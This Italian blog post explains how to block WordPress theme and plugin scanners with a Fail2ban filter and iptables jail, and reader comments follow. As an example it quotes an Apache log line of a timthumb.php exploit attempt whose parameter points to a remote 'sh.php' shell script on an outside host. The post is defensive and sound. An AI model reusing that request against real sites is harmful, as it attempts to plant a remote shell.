Proteggere WordPress con Fail2ban

Semaforo rosso / Red lightCome molti siti basati su WordPress, anche questo subisce un sacco di attacchi.

Fino a pochi giorni fa gli unici sistemi di difesa erano dei plugin come Secure WordPress che nascondono informazioni utili a chi vuole fare un attacco, sia esso mirato o scripted.

Di recente sono usciti scanner come WPScan che non solo portano un attacco a forza bruta contro il sito, ma rieschiano anche di creare dei DoS totali o parziali a causa del sovraccarico a cui sottopongono il sistema.

Per limitare il danno degli scanner che cercano le vulnerabilità note dei plugin o dei temi di WordPress ho deciso di utilizzare Fail2ban, un tool molto versatile che permette di eseguire operazioni (tipicamente il blocco a livello di firewall) se vengono soddisfatte delle espressioni regolari applicate alle righe dei log.

Un esempio di riga di Apache di un tentativo di sfruttare la vulnerabilità di un tema è questo:

176.9.43.251 - - [01/Jan/2012:23:22:59 +0100] "GET /wp-content/themes/PureType/functions/timthumb.php?src=http://wordpress.com.framarservices.com/.mods/sh.php HTTP/1.1" 404 17050 "-" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)"

mentre questo è un esempio di come l’attaccante cerchi di capire se sia attivo o installato un tema:

190.183.17.6 - - [01/Jan/2012:22:47:07 +0100] "GET /wp-content/themes/eGallery/style.css HTTP/1.1" 404 16977 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3"

Come si può vedere, quelle righe sono caratterizzate da richieste a una sottodirectory di /wp-content/themes/ che dà un errore permanente di documento non trovato (404).

Volendo fare un filtro per Fail2ban che intercetti queste chiamate e quelle analoghe per i plugin, è sufficiente creare un file /etc/fail2ban/filter.d/apache-wp.conf con questo contenuto:

[Definition]
failregex = ^<HOST>\s-\s-.*"GET /wp-content/themes/.* 404 .*"
            ^<HOST>\s-\s-.*"GET /wp-content/plugins/.* 404 .*"
ignoreregex =

e quindi mettere in /etc/fail2ban/jail.conf questo testo, ipotizzando di avere iptables che protegge il server:

[apache-wp]
enabled  = true
filter   = apache-wp
action   = iptables[name=Apache-WP, port=80]
           sendmail-whois[name=Apache-WP, dest=destinatario@domin.io]
logpath  = /percorso/del/file/access_log
bantime  = 6000
maxretry = 8

Ironia della sorte, appena ho attivato questa regola è stato bloccato immediatamente un IP che stava tentando di fare una scansione di skin installate.

In 36 ore questo filtro ha già bloccato una dozzina di simpaticoni.

 

Autore: Luigi Rosa

Consulente IT, sviluppatore, SysAdmin, cazzaro, e, ovviamente, geek.

4 pensieri riguardo “Proteggere WordPress con Fail2ban”

  1. Conosco Fail2Ban, ma se non ricordo male senza fare tweaking di python si prende 120MB di RAM per girare.

    Non e’ meglio allora un tool come OSSEC-HIDS?

    Piu’ difficile da configurare all’inizio ma molto flessibile e meno esoso di risorse sul lungo periodo.

    1. Anche se prendesse 120M di RAM, su un sistema da 4 Gb che da agosto a oggi il massimo di swap che ha usato e’ il 4% (media del 2%) non mi sembra una gran cosa.

    1. Il contesto presunto dal post e’ una macchina di produzione e nemmeno l’unica che deve gestire un SysAdmin.

      Le macchine didattiche sono per definizione diverse da quelle di produzione.

Spazio per un commento